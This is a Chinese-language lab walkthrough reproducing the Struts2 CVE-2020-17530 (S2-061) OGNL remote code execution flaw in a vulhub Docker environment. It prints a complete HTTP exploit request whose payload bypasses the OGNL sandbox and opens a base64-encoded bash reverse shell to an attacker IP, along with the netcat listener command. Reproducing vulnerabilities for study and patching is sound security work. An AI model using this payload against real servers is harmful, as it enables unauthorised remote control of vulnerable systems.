CVE-2020-17530:Struts2远程代码执行漏洞复现

admin 2021年1月7日09:00:50评论461 views字数 2458阅读8分11秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:hatjwe@Timeline Sec
本文字数:1042
阅读时长:3~4min
声明:请勿用作违法用途,否则后果自负


0x01 简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。


0x02 漏洞概述

漏洞编号CVE-2020-17530

CVE-2020-17530是对CVE-2019-0230的绕过,Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒,而CVE-2020-17530绕过了该沙盒


在特定的环境下,远程攻击者通过构造恶意的OGNL表达式,可造成任意代码执行。


0x03 影响版本



Struts 2.0.0 – Struts 2.5.25


0x04 环境搭建

这里用的vulhub环境一键搭建

执行如下命令启动一个Struts2 2.5.25版本环境

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/


1、启动Struts 2.5.25环境:

docker-compose up -d


CVE-2020-17530:Struts2远程代码执行漏洞复现


2、环境启动后,访问查看首页

http://target-ip:8080/index.action


CVE-2020-17530:Struts2远程代码执行漏洞复现


0x05 漏洞复现


1、发送如下数据包,即可执行反弹shell命令:

POST /index.action HTTP/1.1 Host:192.168.20.129:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language:en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: closeContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 922  ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id" 
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--


CVE-2020-17530:Struts2远程代码执行漏洞复现


2、这里为反弹shell命令:

(#arglist.add("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))


进行linux反弹shell命令
bash -i >& /dev/tcp/192.168.20.128/66660>&1(PS:反弹shell涉及到管道符问题于是要将命令进行base64编码)

base64在线编码:

http://www.jackson-t.ca/runtime-exec-payloads.html


3、在攻击机监听本地端口:

nc -lvvp 6666


运行脚本成功反弹回shell


CVE-2020-17530:Struts2远程代码执行漏洞复现

0x06 修复建议


Struts官方已经发布了新版本修复了上述漏洞,请受影响的用户尽快升级进行防护。


参考链接:

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md



CVE-2020-17530:Struts2远程代码执行漏洞复现

CVE-2020-17530:Struts2远程代码执行漏洞复现
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):CVE-2020-17530:Struts2远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月7日09:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-17530:Struts2远程代码执行漏洞复现http://cn-sec.com/archives/234384.html

发表评论

匿名网友 填写信息